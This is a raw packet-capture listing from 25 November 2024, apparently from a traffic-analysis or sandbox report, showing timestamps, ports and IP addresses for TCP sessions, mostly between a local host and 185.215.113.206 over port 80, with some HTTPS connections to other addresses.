Nov 25, 2024 16:21:36.865243912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.865340948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.865394115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.866442919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.866601944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.866635084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.867044926 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:36.867052078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.867078066 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:36.867206097 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:36.867465019 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:36.867477894 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:36.867522001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.867567062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.867644072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.868015051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.868721008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.868837118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.869354010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.869478941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.869910955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.869923115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.870093107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.871021032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.871143103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.871145964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.871193886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.872194052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.872208118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.872236013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.872248888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.873977900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.874082088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.874114990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.874160051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.874525070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.874537945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.874592066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.875737906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.875751019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.875790119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.876828909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.876842022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.876880884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.878036976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.878082991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.878245115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.878683090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.879172087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.879218102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.879297972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.879337072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.880321980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.880337000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.880366087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.880395889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.881465912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.881513119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.881648064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.881932020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.882652044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.882707119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.882756948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.883837938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.883881092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.883891106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.883949041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.884955883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.885004044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.885051966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.886184931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.886198044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.886250973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.886291027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.886575937 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.887320042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.887361050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.887660027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.888519049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.888530970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.888592958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.889599085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.889646053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.889735937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.890223980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.890791893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.890806913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.890851974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.891940117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.891953945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.892014980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.893085003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.893141031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.893500090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.893584967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.894270897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.894371986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.894397020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.894457102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.895425081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.895440102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.895495892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.895546913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.896588087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.896642923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.896889925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.897612095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.897717953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.897838116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.897844076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.897881031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.898890972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.898905993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.898941040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.898958921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.899964094 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.900069952 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.900089979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.900137901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.900171995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.900187969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.901221991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.901236057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.901278019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.902357101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.902405024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.902734041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.902775049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.903413057 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.903445959 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.903541088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.903733015 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.903748989 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.903798103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.903876066 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.903882027 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.904351950 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.904359102 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.904396057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.904458046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.904670954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.904725075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.904844999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.905047894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.905886889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.905935049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.906004906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.906044006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.907006979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.907099009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.907172918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.908216953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.908231020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.908263922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.909313917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.909379005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.918878078 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.919294119 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.919306993 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.919827938 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.919831991 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.042457104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.042521000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.042532921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.042568922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.042911053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.042962074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.042978048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.043205976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.043896914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.044034958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.044377089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.044430017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.044848919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.044897079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.044948101 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.045273066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.045320988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.045911074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.045922995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.045967102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.046314955 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.046343088 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.046864986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.046878099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.047053099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.047406912 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.047414064 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.047864914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.048070908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.048132896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.048897028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.049052000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.049710989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.049765110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.049853086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.049865961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.049911022 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.050832987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.050908089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.050930977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.050949097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.051867962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.051935911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.051950932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.052005053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.052779913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.052839041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.053116083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.053168058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.053930044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.054470062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.055241108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.055253983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.055265903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.055301905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.055320978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.055888891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.055947065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.056045055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.056149960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.058269978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.058336973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.058597088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.058720112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.059408903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.059421062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.059432983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.059500933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.059500933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.059572935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.060074091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.060120106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.060399055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.060558081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.061284065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.061300993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.061428070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.061769009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.061816931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.061952114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.062005043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.062746048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.062835932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.063328028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.063376904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.063735962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.063793898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.064403057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.064451933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.064716101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.064784050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.065730095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.065764904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.065773964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.065826893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.066251993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.066320896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.066780090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.066837072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.067008018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.067049026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.067797899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.067847013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.068124056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.068166971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.068754911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.068974972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.068994045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.069030046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.069725990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.069854975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.070174932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.070281029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.070750952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.070877075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.070897102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.071036100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.071691036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.071866989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.072042942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.072688103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.072690010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.072731972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.073174000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.073224068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.073678017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.074193954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.074219942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.074304104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.074666977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.074717999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.074934959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.075012922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.075712919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.075726986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.075810909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.076862097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.076917887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.077107906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.077152014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.077717066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.077729940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.077791929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.078751087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.078886986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.079212904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.079273939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.079761028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.079806089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.080059052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.080133915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.080683947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.080696106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.080739021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.081635952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.081887007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.082211971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.082380056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.082652092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.082698107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.082876921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.082971096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.083652020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.084076881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.084665060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.084676981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.084690094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.084733963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.084768057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.085619926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.085669994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.086190939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.086241007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.086689949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.086703062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.086744070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.087625027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.087713003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.087851048 CET	80	49765	185.215.113.206	192.168.2.5
